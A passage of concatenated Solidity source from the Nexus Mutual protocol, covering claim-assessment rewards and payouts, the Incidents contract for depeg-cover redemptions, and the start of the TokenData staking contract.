_changeClaimStatusCA(claimid, coverid, status);
} else if (status >= 1 && status <= 5) {
_changeClaimStatusMV(claimid, coverid, status);
} else if (status == 12) {// when current status is "Claim Accepted Payout Pending"
bool payoutSucceeded = attemptClaimPayout(coverid);
if (payoutSucceeded) {
c1.setClaimStatus(claimid, 14);
} else {
c1.setClaimStatus(claimid, 12);
}
}
}
function getCurrencyAssetAddress(bytes4 currency) public view returns (address) {
if (currency == "ETH") {
return ETH;
}
if (currency == "DAI") {
return DAI;
}
revert("ClaimsReward: unknown asset");
}
function attemptClaimPayout(uint coverId) internal returns (bool success) {
uint sumAssured = qd.getCoverSumAssured(coverId);
// TODO: when adding new cover currencies, fetch the correct decimals for this multiplication
uint sumAssuredWei = sumAssured.mul(1e18);
// get asset address
bytes4 coverCurrency = qd.getCurrencyOfCover(coverId);
address asset = getCurrencyAssetAddress(coverCurrency);
// get payout address
address payable coverHolder = qd.getCoverMemberAddress(coverId);
address payable payoutAddress = memberRoles.getClaimPayoutAddress(coverHolder);
// execute the payout
bool payoutSucceeded = pool.sendClaimPayout(asset, payoutAddress, sumAssuredWei);
if (payoutSucceeded) {
// burn staked tokens
(, address scAddress) = qd.getscAddressOfCover(coverId);
uint tokenPrice = pool.getTokenPrice(asset);
// note: for new assets "18" needs to be replaced with target asset decimals
uint burnNXMAmount = sumAssuredWei.mul(1e18).div(tokenPrice);
pooledStaking.pushBurn(scAddress, burnNXMAmount);
// adjust total sum assured
(, address coverContract) = qd.getscAddressOfCover(coverId);
qd.subFromTotalSumAssured(coverCurrency, sumAssured);
qd.subFromTotalSumAssuredSC(coverContract, coverCurrency, sumAssured);
// update MCR since total sum assured and MCR% change
mcr.updateMCRInternal(pool.getPoolValueInEth(), true);
return true;
}
return false;
}
/// @dev Amount of tokens to be rewarded to a user for a particular vote id.
/// @param check 1 -> CA vote, else member vote
/// @param voteid vote id for which reward has to be Calculated
/// @param flag if 1 calculate even if claimed,else don't calculate if already claimed
/// @return tokenCalculated reward to be given for vote id
/// @return lastClaimedCheck true if final verdict is still pending for that voteid
/// @return tokens number of tokens locked under that voteid
/// @return perc percentage of reward to be given.
function getRewardToBeGiven(
uint check,
uint voteid,
uint flag
)
public
view
returns (
uint tokenCalculated,
bool lastClaimedCheck,
uint tokens,
uint perc
)
{
uint claimId;
int8 verdict;
bool claimed;
uint tokensToBeDist;
uint totalTokens;
(tokens, claimId, verdict, claimed) = cd.getVoteDetails(voteid);
lastClaimedCheck = false;
int8 claimVerdict = cd.getFinalVerdict(claimId);
if (claimVerdict == 0) {
lastClaimedCheck = true;
}
if (claimVerdict == verdict && (claimed == false || flag == 1)) {
if (check == 1) {
(perc, , tokensToBeDist) = cd.getClaimRewardDetail(claimId);
} else {
(, perc, tokensToBeDist) = cd.getClaimRewardDetail(claimId);
}
if (perc > 0) {
if (check == 1) {
if (verdict == 1) {
(, totalTokens,) = cd.getClaimsTokenCA(claimId);
} else {
(,, totalTokens) = cd.getClaimsTokenCA(claimId);
}
} else {
if (verdict == 1) {
(, totalTokens,) = cd.getClaimsTokenMV(claimId);
} else {
(,, totalTokens) = cd.getClaimsTokenMV(claimId);
}
}
tokenCalculated = (perc.mul(tokens).mul(tokensToBeDist)).div(totalTokens.mul(100));
}
}
}
/// @dev Transfers all tokens held by contract to a new contract in case of upgrade.
function upgrade(address _newAdd) public onlyInternal {
uint amount = tk.balanceOf(address(this));
if (amount > 0) {
require(tk.transfer(_newAdd, amount));
}
}
/// @dev Total reward in token due for claim by a user.
/// @return total total number of tokens
function getRewardToBeDistributedByUser(address _add) public view returns (uint total) {
uint lengthVote = cd.getVoteAddressCALength(_add);
uint lastIndexCA;
uint lastIndexMV;
uint tokenForVoteId;
uint voteId;
(lastIndexCA, lastIndexMV) = cd.getRewardDistributedIndex(_add);
for (uint i = lastIndexCA; i < lengthVote; i++) {
voteId = cd.getVoteAddressCA(_add, i);
(tokenForVoteId,,,) = getRewardToBeGiven(1, voteId, 0);
total = total.add(tokenForVoteId);
}
lengthVote = cd.getVoteAddressMemberLength(_add);
for (uint j = lastIndexMV; j < lengthVote; j++) {
voteId = cd.getVoteAddressMember(_add, j);
(tokenForVoteId,,,) = getRewardToBeGiven(0, voteId, 0);
total = total.add(tokenForVoteId);
}
return (total);
}
/// @dev Gets reward amount and claiming status for a given claim id.
/// @return reward amount of tokens to user.
/// @return claimed true if already claimed false if yet to be claimed.
function getRewardAndClaimedStatus(uint check, uint claimId) public view returns (uint reward, bool claimed) {
uint voteId;
uint claimid;
uint lengthVote;
if (check == 1) {
lengthVote = cd.getVoteAddressCALength(msg.sender);
for (uint i = 0; i < lengthVote; i++) {
voteId = cd.getVoteAddressCA(msg.sender, i);
(, claimid, , claimed) = cd.getVoteDetails(voteId);
if (claimid == claimId) {break;}
}
} else {
lengthVote = cd.getVoteAddressMemberLength(msg.sender);
for (uint j = 0; j < lengthVote; j++) {
voteId = cd.getVoteAddressMember(msg.sender, j);
(, claimid, , claimed) = cd.getVoteDetails(voteId);
if (claimid == claimId) {break;}
}
}
(reward,,,) = getRewardToBeGiven(check, voteId, 1);
}
/**
* @dev Function used to claim all pending rewards : Claims Assessment + Risk Assessment + Governance
* Claim assesment, Risk assesment, Governance rewards
*/
function claimAllPendingReward(uint records) public isMemberAndcheckPause {
_claimRewardToBeDistributed(records);
pooledStaking.withdrawReward(msg.sender);
uint governanceRewards = gv.claimReward(msg.sender, records);
if (governanceRewards > 0) {
require(tk.transfer(msg.sender, governanceRewards));
}
}
/**
* @dev Function used to get pending rewards of a particular user address.
* @param _add user address.
* @return total reward amount of the user
*/
function getAllPendingRewardOfUser(address _add) public view returns (uint) {
uint caReward = getRewardToBeDistributedByUser(_add);
uint pooledStakingReward = pooledStaking.stakerReward(_add);
uint governanceReward = gv.getPendingReward(_add);
return caReward.add(pooledStakingReward).add(governanceReward);
}
/// @dev Rewards/Punishes users who participated in Claims assessment.
// Unlocking and burning of the tokens will also depend upon the status of claim.
/// @param claimid Claim Id.
function _rewardAgainstClaim(uint claimid, uint coverid, uint status) internal {
uint premiumNXM = qd.getCoverPremiumNXM(coverid);
uint distributableTokens = premiumNXM.mul(cd.claimRewardPerc()).div(100); // 20% of premium
uint percCA;
uint percMV;
(percCA, percMV) = cd.getRewardStatus(status);
cd.setClaimRewardDetail(claimid, percCA, percMV, distributableTokens);
if (percCA > 0 || percMV > 0) {
tc.mint(address(this), distributableTokens);
}
// denied
if (status == 6 || status == 9 || status == 11) {
cd.changeFinalVerdict(claimid, -1);
tc.markCoverClaimClosed(coverid, false);
_burnCoverNoteDeposit(coverid);
// accepted
} else if (status == 7 || status == 8 || status == 10) {
cd.changeFinalVerdict(claimid, 1);
tc.markCoverClaimClosed(coverid, true);
_unlockCoverNote(coverid);
bool payoutSucceeded = attemptClaimPayout(coverid);
// 12 = payout pending, 14 = payout succeeded
uint nextStatus = payoutSucceeded ? 14 : 12;
c1.setClaimStatus(claimid, nextStatus);
}
}
function _burnCoverNoteDeposit(uint coverId) internal {
address _of = qd.getCoverMemberAddress(coverId);
bytes32 reason = keccak256(abi.encodePacked("CN", _of, coverId));
uint lockedAmount = tc.tokensLocked(_of, reason);
(uint amount,) = td.depositedCN(coverId);
amount = amount.div(2);
// limit burn amount to actual amount locked
uint burnAmount = lockedAmount < amount ? lockedAmount : amount;
if (burnAmount != 0) {
tc.burnLockedTokens(_of, reason, amount);
}
}
function _unlockCoverNote(uint coverId) internal {
address coverHolder = qd.getCoverMemberAddress(coverId);
bytes32 reason = keccak256(abi.encodePacked("CN", coverHolder, coverId));
uint lockedCN = tc.tokensLocked(coverHolder, reason);
if (lockedCN != 0) {
tc.releaseLockedTokens(coverHolder, reason, lockedCN);
}
}
/// @dev Computes the result of Claim Assessors Voting for a given claim id.
function _changeClaimStatusCA(uint claimid, uint coverid, uint status) internal {
// Check if voting should be closed or not
if (c1.checkVoteClosing(claimid) == 1) {
uint caTokens = c1.getCATokens(claimid, 0); // converted in cover currency.
uint accept;
uint deny;
uint acceptAndDeny;
bool rewardOrPunish;
uint sumAssured;
(, accept) = cd.getClaimVote(claimid, 1);
(, deny) = cd.getClaimVote(claimid, - 1);
acceptAndDeny = accept.add(deny);
accept = accept.mul(100);
deny = deny.mul(100);
if (caTokens == 0) {
status = 3;
} else {
sumAssured = qd.getCoverSumAssured(coverid).mul(DECIMAL1E18);
// Min threshold reached tokens used for voting > 5* sum assured
if (caTokens > sumAssured.mul(5)) {
if (accept.div(acceptAndDeny) > 70) {
status = 7;
qd.changeCoverStatusNo(coverid, uint8(QuotationData.CoverStatus.ClaimAccepted));
rewardOrPunish = true;
} else if (deny.div(acceptAndDeny) > 70) {
status = 6;
qd.changeCoverStatusNo(coverid, uint8(QuotationData.CoverStatus.ClaimDenied));
rewardOrPunish = true;
} else if (accept.div(acceptAndDeny) > deny.div(acceptAndDeny)) {
status = 4;
} else {
status = 5;
}
} else {
if (accept.div(acceptAndDeny) > deny.div(acceptAndDeny)) {
status = 2;
} else {
status = 3;
}
}
}
c1.setClaimStatus(claimid, status);
if (rewardOrPunish) {
_rewardAgainstClaim(claimid, coverid, status);
}
}
}
/// @dev Computes the result of Member Voting for a given claim id.
function _changeClaimStatusMV(uint claimid, uint coverid, uint status) internal {
// Check if voting should be closed or not
if (c1.checkVoteClosing(claimid) == 1) {
uint8 coverStatus;
uint statusOrig = status;
uint mvTokens = c1.getCATokens(claimid, 1); // converted in cover currency.
// If tokens used for acceptance >50%, claim is accepted
uint sumAssured = qd.getCoverSumAssured(coverid).mul(DECIMAL1E18);
uint thresholdUnreached = 0;
// Minimum threshold for member voting is reached only when
// value of tokens used for voting > 5* sum assured of claim id
if (mvTokens < sumAssured.mul(5)) {
thresholdUnreached = 1;
}
uint accept;
(, accept) = cd.getClaimMVote(claimid, 1);
uint deny;
(, deny) = cd.getClaimMVote(claimid, - 1);
if (accept.add(deny) > 0) {
if (accept.mul(100).div(accept.add(deny)) >= 50 && statusOrig > 1 &&
statusOrig <= 5 && thresholdUnreached == 0) {
status = 8;
coverStatus = uint8(QuotationData.CoverStatus.ClaimAccepted);
} else if (deny.mul(100).div(accept.add(deny)) >= 50 && statusOrig > 1 &&
statusOrig <= 5 && thresholdUnreached == 0) {
status = 9;
coverStatus = uint8(QuotationData.CoverStatus.ClaimDenied);
}
}
if (thresholdUnreached == 1 && (statusOrig == 2 || statusOrig == 4)) {
status = 10;
coverStatus = uint8(QuotationData.CoverStatus.ClaimAccepted);
} else if (thresholdUnreached == 1 && (statusOrig == 5 || statusOrig == 3 || statusOrig == 1)) {
status = 11;
coverStatus = uint8(QuotationData.CoverStatus.ClaimDenied);
}
c1.setClaimStatus(claimid, status);
qd.changeCoverStatusNo(coverid, uint8(coverStatus));
// Reward/Punish Claim Assessors and Members who participated in Claims assessment
_rewardAgainstClaim(claimid, coverid, status);
}
}
/// @dev Allows a user to claim all pending Claims assessment rewards.
function _claimRewardToBeDistributed(uint _records) internal {
uint lengthVote = cd.getVoteAddressCALength(msg.sender);
uint voteid;
uint lastIndex;
(lastIndex,) = cd.getRewardDistributedIndex(msg.sender);
uint total = 0;
uint tokenForVoteId = 0;
bool lastClaimedCheck;
uint _days = td.lockCADays();
bool claimed;
uint counter = 0;
uint claimId;
uint perc;
uint i;
uint lastClaimed = lengthVote;
for (i = lastIndex; i < lengthVote && counter < _records; i++) {
voteid = cd.getVoteAddressCA(msg.sender, i);
(tokenForVoteId, lastClaimedCheck, , perc) = getRewardToBeGiven(1, voteid, 0);
if (lastClaimed == lengthVote && lastClaimedCheck == true) {
lastClaimed = i;
}
(, claimId, , claimed) = cd.getVoteDetails(voteid);
if (perc > 0 && !claimed) {
counter++;
cd.setRewardClaimed(voteid, true);
} else if (perc == 0 && cd.getFinalVerdict(claimId) != 0 && !claimed) {
(perc,,) = cd.getClaimRewardDetail(claimId);
if (perc == 0) {
counter++;
}
cd.setRewardClaimed(voteid, true);
}
if (tokenForVoteId > 0) {
total = tokenForVoteId.add(total);
}
}
if (lastClaimed == lengthVote) {
cd.setRewardDistributedIndexCA(msg.sender, i);
}
else {
cd.setRewardDistributedIndexCA(msg.sender, lastClaimed);
}
lengthVote = cd.getVoteAddressMemberLength(msg.sender);
lastClaimed = lengthVote;
_days = _days.mul(counter);
if (tc.tokensLockedAtTime(msg.sender, "CLA", now) > 0) {
tc.reduceLock(msg.sender, "CLA", _days);
}
(, lastIndex) = cd.getRewardDistributedIndex(msg.sender);
lastClaimed = lengthVote;
counter = 0;
for (i = lastIndex; i < lengthVote && counter < _records; i++) {
voteid = cd.getVoteAddressMember(msg.sender, i);
(tokenForVoteId, lastClaimedCheck,,) = getRewardToBeGiven(0, voteid, 0);
if (lastClaimed == lengthVote && lastClaimedCheck == true) {
lastClaimed = i;
}
(, claimId, , claimed) = cd.getVoteDetails(voteid);
if (claimed == false && cd.getFinalVerdict(claimId) != 0) {
cd.setRewardClaimed(voteid, true);
counter++;
}
if (tokenForVoteId > 0) {
total = tokenForVoteId.add(total);
}
}
if (total > 0) {
require(tk.transfer(msg.sender, total));
}
if (lastClaimed == lengthVote) {
cd.setRewardDistributedIndexMV(msg.sender, i);
}
else {
cd.setRewardDistributedIndexMV(msg.sender, lastClaimed);
}
}
/**
* @dev Function used to claim the commission earned by the staker.
*/
function _claimStakeCommission(uint _records, address _user) external onlyInternal {
uint total = 0;
uint len = td.getStakerStakedContractLength(_user);
uint lastCompletedStakeCommission = td.lastCompletedStakeCommission(_user);
uint commissionEarned;
uint commissionRedeemed;
uint maxCommission;
uint lastCommisionRedeemed = len;
uint counter;
uint i;
for (i = lastCompletedStakeCommission; i < len && counter < _records; i++) {
commissionRedeemed = td.getStakerRedeemedStakeCommission(_user, i);
commissionEarned = td.getStakerEarnedStakeCommission(_user, i);
maxCommission = td.getStakerInitialStakedAmountOnContract(
_user, i).mul(td.stakerMaxCommissionPer()).div(100);
if (lastCommisionRedeemed == len && maxCommission != commissionEarned)
lastCommisionRedeemed = i;
td.pushRedeemedStakeCommissions(_user, i, commissionEarned.sub(commissionRedeemed));
total = total.add(commissionEarned.sub(commissionRedeemed));
counter++;
}
if (lastCommisionRedeemed == len) {
td.setLastCompletedStakeCommissionIndex(_user, i);
} else {
td.setLastCompletedStakeCommissionIndex(_user, lastCommisionRedeemed);
}
if (total > 0)
require(tk.transfer(_user, total)); // solhint-disable-line
}
}
/* Copyright (C) 2021 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../abstract/MasterAware.sol";
import "../../interfaces/IPooledStaking.sol";
import "../capital/Pool.sol";
import "../claims/ClaimsData.sol";
import "../claims/ClaimsReward.sol";
import "../cover/QuotationData.sol";
import "../governance/MemberRoles.sol";
import "../token/TokenController.sol";
import "../capital/MCR.sol";
contract Incidents is MasterAware {
using SafeERC20 for IERC20;
using SafeMath for uint;
struct Incident {
address productId;
uint32 date;
uint priceBefore;
}
// contract identifiers
enum ID {CD, CR, QD, TC, MR, P1, PS, MC}
mapping(uint => address payable) public internalContracts;
Incident[] public incidents;
// product id => underlying token (ex. yDAI -> DAI)
mapping(address => address) public underlyingToken;
// product id => covered token (ex. 0xc7ed.....1 -> yDAI)
mapping(address => address) public coveredToken;
// claim id => payout amount
mapping(uint => uint) public claimPayout;
// product id => accumulated burn amount
mapping(address => uint) public accumulatedBurn;
// burn ratio in bps, ex 2000 for 20%
uint public BURN_RATIO;
// burn ratio in bps
uint public DEDUCTIBLE_RATIO;
uint constant BASIS_PRECISION = 10000;
event ProductAdded(
address indexed productId,
address indexed coveredToken,
address indexed underlyingToken
);
event IncidentAdded(
address indexed productId,
uint incidentDate,
uint priceBefore
);
modifier onlyAdvisoryBoard {
uint abRole = uint(MemberRoles.Role.AdvisoryBoard);
require(
memberRoles().checkRole(msg.sender, abRole),
"Incidents: Caller is not an advisory board member"
);
_;
}
function initialize() external {
require(BURN_RATIO == 0, "Already initialized");
BURN_RATIO = 2000;
DEDUCTIBLE_RATIO = 9000;
}
function addProducts(
address[] calldata _productIds,
address[] calldata _coveredTokens,
address[] calldata _underlyingTokens
) external onlyAdvisoryBoard {
require(
_productIds.length == _coveredTokens.length,
"Incidents: Protocols and covered tokens lengths differ"
);
require(
_productIds.length == _underlyingTokens.length,
"Incidents: Protocols and underyling tokens lengths differ"
);
for (uint i = 0; i < _productIds.length; i++) {
address id = _productIds[i];
require(coveredToken[id] == address(0), "Incidents: covered token is already set");
require(underlyingToken[id] == address(0), "Incidents: underlying token is already set");
coveredToken[id] = _coveredTokens[i];
underlyingToken[id] = _underlyingTokens[i];
emit ProductAdded(id, _coveredTokens[i], _underlyingTokens[i]);
}
}
function incidentCount() external view returns (uint) {
return incidents.length;
}
function addIncident(
address productId,
uint incidentDate,
uint priceBefore
) external onlyGovernance {
address underlying = underlyingToken[productId];
require(underlying != address(0), "Incidents: Unsupported product");
Incident memory incident = Incident(productId, uint32(incidentDate), priceBefore);
incidents.push(incident);
emit IncidentAdded(productId, incidentDate, priceBefore);
}
function redeemPayoutForMember(
uint coverId,
uint incidentId,
uint coveredTokenAmount,
address member
) external onlyInternal returns (uint claimId, uint payoutAmount, address payoutToken) {
(claimId, payoutAmount, payoutToken) = _redeemPayout(coverId, incidentId, coveredTokenAmount, member);
}
function redeemPayout(
uint coverId,
uint incidentId,
uint coveredTokenAmount
) external returns (uint claimId, uint payoutAmount, address payoutToken) {
(claimId, payoutAmount, payoutToken) = _redeemPayout(coverId, incidentId, coveredTokenAmount, msg.sender);
}
function _redeemPayout(
uint coverId,
uint incidentId,
uint coveredTokenAmount,
address coverOwner
) internal returns (uint claimId, uint payoutAmount, address coverAsset) {
QuotationData qd = quotationData();
Incident memory incident = incidents[incidentId];
uint sumAssured;
bytes4 currency;
{
address productId;
address _coverOwner;
(/* id */, _coverOwner, productId,
currency, sumAssured, /* premiumNXM */
) = qd.getCoverDetailsByCoverID1(coverId);
// check ownership and covered protocol
require(coverOwner == _coverOwner, "Incidents: Not cover owner");
require(productId == incident.productId, "Incidents: Bad incident id");
}
{
uint coverPeriod = uint(qd.getCoverPeriod(coverId)).mul(1 days);
uint coverExpirationDate = qd.getValidityOfCover(coverId);
uint coverStartDate = coverExpirationDate.sub(coverPeriod);
// check cover validity
require(coverStartDate <= incident.date, "Incidents: Cover start date is after the incident");
require(coverExpirationDate >= incident.date, "Incidents: Cover end date is before the incident");
// check grace period
uint gracePeriod = tokenController().claimSubmissionGracePeriod();
require(coverExpirationDate.add(gracePeriod) >= block.timestamp, "Incidents: Grace period has expired");
}
{
// assumes 18 decimals (eth & dai)
uint decimalPrecision = 1e18;
uint maxAmount;
// sumAssured is currently stored without decimals
uint coverAmount = sumAssured.mul(decimalPrecision);
{
// max amount check
uint deductiblePriceBefore = incident.priceBefore.mul(DEDUCTIBLE_RATIO).div(BASIS_PRECISION);
maxAmount = coverAmount.mul(decimalPrecision).div(deductiblePriceBefore);
require(coveredTokenAmount <= maxAmount, "Incidents: Amount exceeds sum assured");
}
// payoutAmount = coveredTokenAmount / maxAmount * coverAmount
// = coveredTokenAmount * coverAmount / maxAmount
payoutAmount = coveredTokenAmount.mul(coverAmount).div(maxAmount);
}
{
TokenController tc = tokenController();
// mark cover as having a successful claim
tc.markCoverClaimOpen(coverId);
tc.markCoverClaimClosed(coverId, true);
// create the claim
ClaimsData cd = claimsData();
claimId = cd.actualClaimLength();
cd.addClaim(claimId, coverId, coverOwner, now);
cd.callClaimEvent(coverId, coverOwner, claimId, now);
cd.setClaimStatus(claimId, 14);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimAccepted));
claimPayout[claimId] = payoutAmount;
}
coverAsset = claimsReward().getCurrencyAssetAddress(currency);
_sendPayoutAndPushBurn(
incident.productId,
address(uint160(coverOwner)),
coveredTokenAmount,
coverAsset,
payoutAmount
);
qd.subFromTotalSumAssured(currency, sumAssured);
qd.subFromTotalSumAssuredSC(incident.productId, currency, sumAssured);
mcr().updateMCRInternal(pool().getPoolValueInEth(), true);
}
function pushBurns(address productId, uint maxIterations) external {
uint burnAmount = accumulatedBurn[productId];
delete accumulatedBurn[productId];
require(burnAmount > 0, "Incidents: No burns to push");
require(maxIterations >= 30, "Incidents: Pass at least 30 iterations");
IPooledStaking ps = pooledStaking();
ps.pushBurn(productId, burnAmount);
ps.processPendingActions(maxIterations);
}
function withdrawAsset(address asset, address destination, uint amount) external onlyGovernance {
IERC20 token = IERC20(asset);
uint balance = token.balanceOf(address(this));
uint transferAmount = amount > balance ? balance : amount;
token.safeTransfer(destination, transferAmount);
}
function _sendPayoutAndPushBurn(
address productId,
address payable coverOwner,
uint coveredTokenAmount,
address coverAsset,
uint payoutAmount
) internal {
address _coveredToken = coveredToken[productId];
// pull depegged tokens
IERC20(_coveredToken).safeTransferFrom(msg.sender, address(this), coveredTokenAmount);
Pool p1 = pool();
// send the payoutAmount
{
address payable payoutAddress = memberRoles().getClaimPayoutAddress(coverOwner);
bool success = p1.sendClaimPayout(coverAsset, payoutAddress, payoutAmount);
require(success, "Incidents: Payout failed");
}
{
// burn
uint decimalPrecision = 1e18;
uint assetPerNxm = p1.getTokenPrice(coverAsset);
uint maxBurnAmount = payoutAmount.mul(decimalPrecision).div(assetPerNxm);
uint burnAmount = maxBurnAmount.mul(BURN_RATIO).div(BASIS_PRECISION);
accumulatedBurn[productId] = accumulatedBurn[productId].add(burnAmount);
}
}
function claimsData() internal view returns (ClaimsData) {
return ClaimsData(internalContracts[uint(ID.CD)]);
}
function claimsReward() internal view returns (ClaimsReward) {
return ClaimsReward(internalContracts[uint(ID.CR)]);
}
function quotationData() internal view returns (QuotationData) {
return QuotationData(internalContracts[uint(ID.QD)]);
}
function tokenController() internal view returns (TokenController) {
return TokenController(internalContracts[uint(ID.TC)]);
}
function memberRoles() internal view returns (MemberRoles) {
return MemberRoles(internalContracts[uint(ID.MR)]);
}
function pool() internal view returns (Pool) {
return Pool(internalContracts[uint(ID.P1)]);
}
function pooledStaking() internal view returns (IPooledStaking) {
return IPooledStaking(internalContracts[uint(ID.PS)]);
}
function mcr() internal view returns (MCR) {
return MCR(internalContracts[uint(ID.MC)]);
}
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "BURNRATE") {
require(value <= BASIS_PRECISION, "Incidents: Burn ratio cannot exceed 10000");
BURN_RATIO = value;
return;
}
if (code == "DEDUCTIB") {
require(value <= BASIS_PRECISION, "Incidents: Deductible ratio cannot exceed 10000");
DEDUCTIBLE_RATIO = value;
return;
}
revert("Incidents: Invalid parameter");
}
function changeDependentContractAddress() external {
INXMMaster master = INXMMaster(master);
internalContracts[uint(ID.CD)] = master.getLatestAddress("CD");
internalContracts[uint(ID.CR)] = master.getLatestAddress("CR");
internalContracts[uint(ID.QD)] = master.getLatestAddress("QD");
internalContracts[uint(ID.TC)] = master.getLatestAddress("TC");
internalContracts[uint(ID.MR)] = master.getLatestAddress("MR");
internalContracts[uint(ID.P1)] = master.getLatestAddress("P1");
internalContracts[uint(ID.PS)] = master.getLatestAddress("PS");
internalContracts[uint(ID.MC)] = master.getLatestAddress("MC");
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract TokenData is Iupgradable {
using SafeMath for uint;
address payable public walletAddress;
uint public lockTokenTimeAfterCoverExp;
uint public bookTime;
uint public lockCADays;
uint public lockMVDays;
uint public scValidDays;
uint public joiningFee;
uint public stakerCommissionPer;
uint public stakerMaxCommissionPer;
uint public tokenExponent;
uint public priceStep;
struct StakeCommission {
uint commissionEarned;
uint commissionRedeemed;
}
struct Stake {
address stakedContractAddress;
uint stakedContractIndex;
uint dateAdd;
uint stakeAmount;
uint unlockedAmount;
uint burnedAmount;
uint unLockableBeforeLastBurn;
}
struct Staker {
address stakerAddress;
uint stakerIndex;
}
struct CoverNote {
uint amount;
bool isDeposited;
}
/**
* @dev mapping of uw address to array of sc address to fetch
* all staked contract address of underwriter, pushing
* data into this array of Stake returns stakerIndex
*/
mapping(address => Stake[]) public stakerStakedContracts;
/**
* @dev mapping of sc address to array of UW address to fetch
* all underwritters of the staked smart contract
* pushing data into this mapped array returns scIndex
*/
mapping(address => Staker[]) public stakedContractStakers;
/**
* @dev mapping of staked contract Address to the array of StakeCommission
* here index of this array is stakedContractIndex
*/
mapping(address => mapping(uint => StakeCommission)) public stakedContractStakeCommission;
mapping(address => uint) public lastCompletedStakeCommission;
/**
* @dev mapping of the staked contract address to the current
* staker index who will receive commission.
*/
mapping(address => uint) public stakedContractCurrentCommissionIndex;
/**
* @dev mapping of the staked contract address to the
* current staker index to burn token from.
*/
mapping(address => uint) public stakedContractCurrentBurnIndex;
/**
* @dev mapping to return true if Cover Note deposited against coverId
*/
mapping(uint => CoverNote) public depositedCN;
mapping(address => uint) internal isBookedTokens;
event Commission(
address indexed stakedContractAddress,
address indexed stakerAddress,
uint indexed scIndex,
uint commissionAmount
);
constructor(address payable _walletAdd) public {
walletAddress = _walletAdd;
bookTime = 12 hours;
joiningFee = 2000000000000000; // 0.002 Ether
lockTokenTimeAfterCoverExp = 35 days;
scValidDays = 250;
lockCADays = 7 days;
lockMVDays = 2 days;
stakerCommissionPer = 20;
stakerMaxCommissionPer = 50;
tokenExponent = 4;
priceStep = 1000;
}
/**
* @dev Change the wallet address which receive Joining Fee
*/
function changeWalletAddress(address payable _address) external onlyInternal {
walletAddress = _address;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "TOKEXP") {
val = tokenExponent;
} else if (code == "TOKSTEP") {
val = priceStep;
} else if (code == "RALOCKT") {
val = scValidDays;
} else if (code == "RACOMM") {
val = stakerCommissionPer;
} else if (code == "RAMAXC") {
val = stakerMaxCommissionPer;
} else if (code == "CABOOKT") {
val = bookTime / (1 hours);
} else if (code == "CALOCKT") {
val = lockCADays / (1 days);
} else if (code == "MVLOCKT") {
val = lockMVDays / (1 days);
} else if (code == "QUOLOCKT") {
val = lockTokenTimeAfterCoverExp / (1 days);
} else if (code == "JOINFEE") {
val = joiningFee;
}
}
/**
* @dev Just for interface
*/
function changeDependentContractAddress() public {//solhint-disable-line
}
/**
* @dev to get the contract staked by a staker
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return the address of staked contract
*/
function getStakerStakedContractByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (address stakedContractAddress)
{
stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
}
/**
* @dev to get the staker's staked burned
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return amount burned
*/
function getStakerStakedBurnedByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint burnedAmount)
{
burnedAmount = stakerStakedContracts[
_stakerAddress][_stakerIndex].burnedAmount;
}
/**
* @dev to get the staker's staked unlockable before the last burn
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return unlockable staked tokens
*/
function getStakerStakedUnlockableBeforeLastBurnByIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint unlockable)
{
unlockable = stakerStakedContracts[
_stakerAddress][_stakerIndex].unLockableBeforeLastBurn;
}
/**
* @dev to get the staker's staked contract index
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return is the index of the smart contract address
*/
function getStakerStakedContractIndex(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint scIndex)
{
scIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
}
/**
* @dev to get the staker index of the staked contract
* @param _stakedContractAddress is the address of the staked contract
* @param _stakedContractIndex is the index of staked contract
* @return is the index of the staker
*/
function getStakedContractStakerIndex(
address _stakedContractAddress,
uint _stakedContractIndex
)
public
view
returns (uint sIndex)
{
sIndex = stakedContractStakers[
_stakedContractAddress][_stakedContractIndex].stakerIndex;
}
/**
* @dev to get the staker's initial staked amount on the contract
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return staked amount
*/
function getStakerInitialStakedAmountOnContract(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint amount)
{
amount = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakeAmount;
}
/**
* @dev to get the staker's staked contract length
* @param _stakerAddress is the address of the staker
* @return length of staked contract
*/
function getStakerStakedContractLength(
address _stakerAddress
)
public
view
returns (uint length)
{
length = stakerStakedContracts[_stakerAddress].length;
}
/**
* @dev to get the staker's unlocked tokens which were staked
* @param _stakerAddress is the address of the staker
* @param _stakerIndex is the index of staker
* @return amount
*/
function getStakerUnlockedStakedTokens(
address _stakerAddress,
